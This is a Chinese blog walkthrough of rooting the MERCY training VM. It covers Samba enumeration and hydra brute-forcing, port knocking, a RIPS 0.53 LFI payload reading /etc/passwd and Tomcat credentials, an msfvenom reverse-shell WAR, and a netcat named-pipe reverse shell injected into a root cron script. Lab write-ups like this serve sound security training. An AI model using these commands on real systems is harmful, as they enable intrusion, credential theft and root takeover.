digitalworld.local: MERCY靶机入侵

小咪咪 2024-04-07 11:12 28阅读 0赞

#### **0x01 前言** ####

MERCY是一个致力于PWK课程安全的靶机系统。MERCY是一款游戏名称，与易受攻击的靶机名称无关。本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息

靶机的下载地址：

https://drive.google.com/uc?id=1YzsW1lCKjo\_WEr6Pk511DXQBFyMMR14y&export=download(注意确认下载镜像中MERCY.mf的sha256值是否正确)

#### **0x02** **信息收集** ####

##### **1.****存活主机扫描** #####

root@kali2018:~#arp-scan  -l

![403c4d12ddfc69a6a2cfa03097188f71.jpeg][]

发现192.168.1.12就是目标靶机系统

##### **2.****端口扫描** #####

通过NAMP对目标靶机进行端口扫描

root@kali2018:~# nmap  -A192.168.1.12
    
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 09:55 EST
    
    Nmap scan report for 192.168.1.12
    
    Host is up (0.00091s latency).
    
    Not shown: 990 closed ports
    
    PORT     STATESERVICE     VERSION
    
    22/tcp   filtered ssh
    
    53/tcp   opendomain      ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
    
    | dns-nsid:
    
    |_  bind.version: 9.9.5-3ubuntu0.17-Ubuntu
    
    80/tcp   filtered http
    
    110/tcp  openpop3?
    
    139/tcp  opennetbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    
    143/tcp  openimap        Dovecot imapd
    
    |_ssl-date: TLS randomness does not represent time
    
    445/tcp  opennetbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
    
    993/tcp  openssl/imap    Dovecot imapd
    
    |_imap-capabilities: CAPABILITY
    
    | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
    
    | Not valid before: 2018-08-24T13:22:55
    
    |_Not valid after:  2028-08-23T13:22:55
    
    |_ssl-date: TLS randomness does not represent time
    
    995/tcp  openssl/pop3s?
    
    | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
    
    | Not valid before: 2018-08-24T13:22:55
    
    |_Not valid after:  2028-08-23T13:22:55
    
    |_ssl-date: TLS randomness does not represent time
    
    8080/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1
    
    | http-methods:
    
    |_  Potentially risky methods: PUT DELETE
    
    |_http-open-proxy: Proxy might be redirecting requests
    
    |_http-server-header: Apache-Coyote/1.1
    
    |_http-title: Apache Tomcat
    
    MAC Address: 00:0C:29:91:A0:C6 (VMware)
    
    Device type: general purpose
    
    Running: Linux 3.X|4.X
    
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    
    OS details: Linux 3.2 - 4.9
    
    Network Distance: 1 hop
    
    Service Info: Host: MERCY; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
     
    
    Host script results:
    
    |_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
    
    |_nbstat: NetBIOS name: MERCY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
    
    | smb-os-discovery:
    
    |   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
    
    |   Computer name: mercy
    
    |   NetBIOS computer name: MERCY\x00
    
    |   Domain name: \x00
    
    |   FQDN: mercy
    
    |_  System time: 2019-02-12T22:57:54+08:00
    
    | smb-security-mode:
    
    |   account_used: guest
    
    |   authentication_level: user
    
    |   challenge_response: supported
    
    |_  message_signing: disabled (dangerous, but default)
    
    | smb2-security-mode:
    
    |   2.02:
    
    |_    Message signing enabled but not required
    
    | smb2-time:
    
    |   date: 2019-02-12 09:57:54
    
    |_  start_date: N/A
    
     
    
    TRACEROUTE
    
    HOP RTT     ADDRESS
    
    1   0.91 ms 192.168.1.12
    
     
    
    OS and Service detection performed. Please report any incorrec

发现目标端口445,8080等端口开放.其他如22,80被防火墙阻断.其中samba服务已开启(这是本文重点渗透目标)

#### **0x03****漏洞利用** ####

无论在任何情况下，我们首先攻击的应用目标是Apache

Tomcat(http://192.168.1.12:8080/)

![712f6e9727d5cd2abe3827ca8b2a5cb3.jpeg][]

尝试访问tomcat后台管理页面，但需要输入正确的用户名和密码方可登陆。尝试输入各种已知的信息但还是无法进入。注意到其用户的配置信息在/etc/tomcat7/tomcat-users.xml中。

##### **1.Samba漏洞攻击** #####

通过smbclient命令列出目标靶机中可用的Samba服务共享名.

root@kali2018:~# smbclient -NL  192.168.1.12

![9e60d997fdce47f3904935382a910d0d.jpeg][]

可从上图中看到共享的几个名称,下面将挂载其共享目录到本地,但还是不允许访问目标共享,这里需身份认证。

root@kali2018:~# mkdir  /mnt/file
    
    root@kali2018:~# mount  -tcifs  192.168.1.12:/qiu  /mnt/file

![eb2357962eebe3254a1c0e66eb242df5.jpeg][]

##### **2.enum4linux**枚举**Samba**账号 #####

root@kali2018:~#  enum4linux -U -o 192.168.1.12

![5624f32271b2842aae71f419f5b65b1b.jpeg][]

让我们将枚举出来的账号(qiu和pleadformercy)添加到mercy.txt中，并对其账号进行爆破。

##### **3.samba**账号爆破 #####

root@kali2018:~#hydra -L mercy.txt -P/usr/share/wordlists/fasttrack.txt smb://192.168.1.12:139

![42ec66294abde69943666260ae0f21bb.jpeg][]

可发现成功爆破出qiu的账号，密码为空

##### **4.mount**命令挂载目录 #####

root@kali2018:~#mount -t cifs//192.168.1.12:/qiu/mnt/file -o username=qiu

![7b391cb2163255d2218379ef40e23450.jpeg][]

列出挂载目录下的文件信息

![33f33d671aa66cb4a753d3e53e1e6a92.jpeg][]

##### **5.private**目录信息收集 #####

发现.private目录提供了一些重要系统信息

root@kali2018:~# cd  /mnt/file/
    
    root@kali2018:/mnt/file# cd  .private
    
    root@kali2018:/mnt/file/.private# ls
    
    opensesame  readme.txtsecrets
    
    root@kali2018:/mnt/file/.private# cd opensesame/
    
    root@kali2018:/mnt/file/.private/opensesame# ls
    
    config  configprint
    root@kali2018:/mnt/file/.private/opensesame# head -30 config
    
    Here are settings for your perusal.
    
     
    
    Port Knocking Daemon Configuration
    
     
    
    [options]
    
           UseSyslog
    
     
    
    [openHTTP]
    
           sequence    = 159,27391,4
    
           seq_timeout = 100
    
           command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
    
           tcpflags    = syn
    
     
    
    [closeHTTP]
    
           sequence    = 4,27391,159
    
           seq_timeout = 100
    
           command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
    
           tcpflags    = syn
    
     
    
    [openSSH]
    
           sequence    = 17301,28504,9999
    
           seq_timeout = 100
    
           command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    
           tcpflags    = syn
    
     
    
    [closeSSH]
    
           sequence    = 9999,28504,17301
    
           seq_timeout = 100
    
           command     = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    
           tcpflags    = syn

![906c793d29380ff3044f0bfd8bbc9e3f.jpeg][]

上面显示了端口启动守护进程的防火墙端口开放的命令配置.

##### **6.**打开目标靶机防火墙端口 #####

看到两组sequence，一组用于HTTP，另一组用于SSH。

**(1)http的sequence脚本：**

kncok.sh

#!/bin/bash
    
    for PORT in 159 27391 4;do nmap -Pn 192.168.1.12  -p  $PORT;
    
    done

![b990d69e97402ea6f1eed8c5cc4c4d6e.jpeg][]

**(2)SSH的sequence脚本：**

kncok1.sh

#!/bin/bash
    
    for PORT in 17301 28504  9999;do nmap -Pn 192.168.1.12  -p $PORT;
    
    done

![e66dd431c430ec84f98e3ad573d7f8eb.jpeg][]

**(3****)通过sequence****脚本来打开HTTP****的端口**

root@kali2018:~# ./knoch.sh
    
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST
    
    Nmap scan report for 192.168.1.12
    
    Host is up (0.00044s latency).
    
     
    
    PORT    STATESERVICE
    
    159/tcp closed nss-routing
    
    MAC Address: 00:0C:29:91:A0:C6 (VMware)
    
     
    
    Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
    
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST
    
    Nmap scan report for 192.168.1.12
    
    Host is up (0.00053s latency).
    
     
    
    PORT      STATE  SERVICE
    
    27391/tcp closed unknown
    
    MAC Address: 00:0C:29:91:A0:C6 (VMware)
    
     
    
    Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
    
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST
    
    Nmap scan report for 192.168.1.12
    
    Host is up (0.00042s latency).
    
     
    
    PORT  STATESERVICE
    
    4/tcp closed unknown
    
    MAC Address: 00:0C:29:91:A0:C6 (VMware)
    
     
    
    Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

![39bab44ddec1264348f86d512f21eaae.jpeg][]

**(4)通过sequence脚本来打开SSH的端口**

root@kali2018:~# ./knoch1.sh
    
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST
    
    Nmap scan report for 192.168.1.12
    
    Host is up (0.00049s latency).
    
     
    
    PORT      STATESERVICE
    
    17301/tcp closed unknown
    
    MAC Address: 00:0C:29:91:A0:C6 (VMware)
    
     
    
    Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
    
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST
    
    Nmap scan report for 192.168.1.12
    
    Host is up (0.00042s latency).
    
     
    
    PORT      STATESERVICE
    
    28504/tcp closed unknown
    
    MAC Address: 00:0C:29:91:A0:C6 (VMware)
    
     
    
    Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
    
    Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST
    
    Nmap scan report for 192.168.1.12
    
    Host is up (0.00031s latency).
    
     
    
    PORT     STATESERVICE
    
    9999/tcp closed abyss
    
    MAC Address: 00:0C:29:91:A0:C6 (VMware)
    
     
    
    Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

![dcbaf5723307144ea6157d5387b00f35.jpeg][]

通过以上命令开放了80和22端口,现在在kali系统下打开80端口网站。

![3e1148b1836ea6a70dff08cf02a7c73a.jpeg][]

##### **7.**目录扫描 #####

通过目录工具dirb对目标靶机系统80端口网站进行扫描，发现存在robots.txt文件

root@kali2018:~# dirb http://192.168.1.12

![5e570e6c9b6b840d697127596c7e1b41.jpeg][]

打开robots.txt的连接地址，发现一个有趣的目录/omercy

![653c621ecba2bccaf724fd3200f7b0b9.jpeg][]

打开该目录网站，可发现RIPS 0.53版本存在

![6dd83e8d21d062570f5692cffff0cfde.jpeg][]

##### **8.RIPS**漏洞收集 #####

根据EDB-ID [18660][]，RIPS 0.53易受本地文件包含(LFI)漏洞影响。(RIPS 0.53 LFI)

在 exploit-db 中搜索RIPS 0.53 漏洞。

https://www.exploit-db.com/exploits/18660

![6031550bc6f655859f38971062565ac6.jpeg][]

其PoC为:

http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd

可以本地文件包含读出目标靶机的/etc/passwd的信息。

![aa85f54fe2c7f43f2e1fb74021b5fe58.jpeg][]

##### **9.tomcat**再次入侵 #####

通过rips的lfi漏洞来本地包含tomcat-users.xml读取其配置信息。

http://192.168.1.12/nomercy/windows/code.php?file=./../../../../..//etc/tomcat7/tomcat-users.xml

![32c845d689bd02e84ad3f314ca7e4f19.jpeg][]

此文件泄露了8080端口上运行的tomcat管理后台的用户名和密码信息

<? <user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>
    
    <? <user username="qiu" password="mercyplz" roles="manager-gui"/>

有了登录凭证，现在可以登录管理器的webapp来部署恶意webapp，这是一个允许反弹shell的WAR文件。

![de1bdb841fac5bd54a7339e304df8ade.jpeg][]

登陆到管理后台：

http://192.168.1.12:8080/manager/html

![6320f10f38742f50ca56c10bc331b83e.jpeg][]

目标靶机系统为32位的ubuntu系统

![698f0697b8e7670a30c2644c6cced825.jpeg][]

我们可以通过msfvenom命令来生成这样的war包

root@kali2018:/opt#  msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.21  LPORT=3333  -f war -o shell.war

![b219c872a80e6f3497fe585297a0ddda.jpeg][]

部署webapp后门文件shell.war

![15cc240f7fdb805fdd36101828d8042b.jpeg][]

![0b98685b0f6da83bc0b6b43c748f81ff.jpeg][]

通过7z命令查看war包的内容，可以看到包含了yillzdtgvccxzwp.jsp文件

root@kali2018:/opt# 7z l shell.war

![d5c3b03e4886233e2541f56ab31e19ee.jpeg][]

访问恶意Web应用程序，请在浏览器的地址栏中输入以下内容：

http://192.168.1.12:8080/shell/yillzdtgvccxzwp.jsp

在攻击机上执行nc监听反弹命令并使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’

root@kali2018:/opt# nc -lvvp 3333

![4a371345f62a47828568dec5bd0b96af.jpeg][]

以普通用户权限下查看其falg信息:

tomcat7@MERCY:/$ cat local.txt
    
    cat local.txt
    
    Plz have mercy on me! :-( :-(
    
    tomcat7@MERCY:/$

![013ebaea8b0a4a7a7aa3b8477560ab13.jpeg][]

#### **0x04** **权限提升** ####

可以通过从tomcat-users.xml中搜索到登录帐户qiu。在信息收集的同时还发现了将权限提升为root的方法。有一个脚本/home/qiu/.private/secrets/timeclock将每隔三分钟，以root权限运行并写入到目录/var/www/html/time中。

tomcat7@MERCY:/$su qiu
    qiu@MERCY:~/.private/secrets$ ls -al/home/qiu/.private/secrets/timeclock
    
    ls -al  /home/qiu/.private/secrets/timeclock
    
    -rwxrwxrwx 1 root root 222 Aug 31 00:47 /home/qiu/.private/secrets/timeclock
    
    qiu@MERCY:~/.private/secrets$ cat timeclock
    
    #!/bin/bash
    
    now=$(date)
    
    echo "The system time is: $now." > ../../../../../var/www/html/time
    
    echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
    
    chown www-data:www-data ../../../../../var/www/html/time

![ddda1dc3df62c1edf61a3b475f55023a.jpeg][]

将以下命令添加到脚本timclock中，其中NC监听的IP地址为攻击机(kali)的IP地址。

qiu@MERCY:~/.private/secrets$ echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21  5555 1>/tmp/p" >> timeclock
    
    <mp/p | nc 192.168.1.21  5555 1>/tmp/p" >> timeclock
    
    qiu@MERCY:~/.private/secrets$ cat timeclock
    
    cat timeclock
    
    #!/bin/bash
    
     
    
    now=$(date)
    
    echo "The system time is: $now." > ../../../../../var/www/html/time
    
    echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
    
    chown www-data:www-data ../../../../../var/www/html/time
    
    rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21  5555 1>/tmp/p

设置另一个nc监听,监听端口为5555,3分钟后将反弹到目标root shell.并在攻击机上执行nc监听反弹命令并使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’

root@kali2018:/mnt/file/.private/opensesame# nc -lvvp  5555
    
    listening on [any] 5555 ...
    
    192.168.1.12: inverse host lookup failed: Unknown host
    
    connect to [192.168.1.21] from (UNKNOWN) [192.168.1.12] 39346
    
    python -c "import pty;pty.spawn('/bin/bash')"

![ea62ede903ab222d4a5e86f98c342f6b.jpeg][]

#### **0x05 flag****信息查看** ####

进入到root目录然后查看proof.txt得到flag信息

oot@MERCY:~# cd /root
    
    cd /root
    
    root@MERCY:~# ls
    
    ls
    
    author-secret.txt  configproof.txt
    
    root@MERCY:~# cat  proof.txt
    
    cat  proof.txt
    
    Congratulations on rooting MERCY. :-)
    
    root@MERCY:~#

![a1144527bb760f98e666918f71172dc1.jpeg][]

[403c4d12ddfc69a6a2cfa03097188f71.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f815aa3620ee4a23893919ed7be9fd61.jpeg
[712f6e9727d5cd2abe3827ca8b2a5cb3.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/95bd5c7580cb4df9a4b2a38803d5c6b5.jpeg
[9e60d997fdce47f3904935382a910d0d.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/610ab36e0f6e4485b5d30c39a15f16df.jpeg
[eb2357962eebe3254a1c0e66eb242df5.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/0092be00752d4fb3a1289ecc1ee9874d.jpeg
[5624f32271b2842aae71f419f5b65b1b.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c3bcb0de132747edac63a7a462f4618d.jpeg
[42ec66294abde69943666260ae0f21bb.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/59a55cee43e64e519090159b44ee3e5c.jpeg
[7b391cb2163255d2218379ef40e23450.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/7cfc3a2c43054f10b5217a6a5f152038.jpeg
[33f33d671aa66cb4a753d3e53e1e6a92.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/6f3e37cb59014c76a72a97bb81785dd2.jpeg
[906c793d29380ff3044f0bfd8bbc9e3f.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/29af5c0c8ea642fda6422d856c030414.jpeg
[b990d69e97402ea6f1eed8c5cc4c4d6e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/17a5df5f7bff4b80b6a9c5efb55a4b3f.jpeg
[e66dd431c430ec84f98e3ad573d7f8eb.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f24db86d16a94296937941b7c65c4aa2.jpeg
[39bab44ddec1264348f86d512f21eaae.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/2e39e034023d4194a9d5af86f5f4594a.jpeg
[dcbaf5723307144ea6157d5387b00f35.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/863fde8dad7941818ce30766cd917c5c.jpeg
[3e1148b1836ea6a70dff08cf02a7c73a.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/3a4efd8b33de446496893bdea314cf29.jpeg
[5e570e6c9b6b840d697127596c7e1b41.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/e010069916c1456991fcce02cad053c0.jpeg
[653c621ecba2bccaf724fd3200f7b0b9.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1868be834fb24a709dd0460ac05eb671.jpeg
[6dd83e8d21d062570f5692cffff0cfde.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a37ea4999b554c7cb205cfee5efa6e35.jpeg
[18660]: https://www.exploit-db.com/exploits/18660/
[6031550bc6f655859f38971062565ac6.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/da8b16da325a4ab9aaecaca7723e4c34.jpeg
[aa85f54fe2c7f43f2e1fb74021b5fe58.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/635cd6ed4d324074a0c558040ae77f02.jpeg
[32c845d689bd02e84ad3f314ca7e4f19.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/59740bdbfa2745fc81c49a6a405c89d6.jpeg
[de1bdb841fac5bd54a7339e304df8ade.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9f979b142d4e4d13a228651514620fa6.jpeg
[6320f10f38742f50ca56c10bc331b83e.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/c5a663481c0144c093fcd2ecff2433c4.jpeg
[698f0697b8e7670a30c2644c6cced825.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/9fd7a582ddce47dca6fb0be4318fb008.jpeg
[b219c872a80e6f3497fe585297a0ddda.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/1c999db2fb4442a3b3284e10aae924ff.jpeg
[15cc240f7fdb805fdd36101828d8042b.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/a310994881d04fdea24a9fa9d55b38ca.jpeg
[0b98685b0f6da83bc0b6b43c748f81ff.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/80acbffeed39426a94d63cb3b45daa3d.jpeg
[d5c3b03e4886233e2541f56ab31e19ee.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/045a8df1a0eb4180bbc1bc0f22bfbb3b.jpeg
[4a371345f62a47828568dec5bd0b96af.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/5f40bff4806c4a609767a75e6137896b.jpeg
[013ebaea8b0a4a7a7aa3b8477560ab13.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/bc910e41cc6d4d4e864e7b0550ccfa35.jpeg
[ddda1dc3df62c1edf61a3b475f55023a.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/936ab4c477b34571870905730824501d.jpeg
[ea62ede903ab222d4a5e86f98c342f6b.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/753a4a62b9184146a45821c6a02ccede.jpeg
[a1144527bb760f98e666918f71172dc1.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/aa84a0439ac240f480a961377d989433.jpeg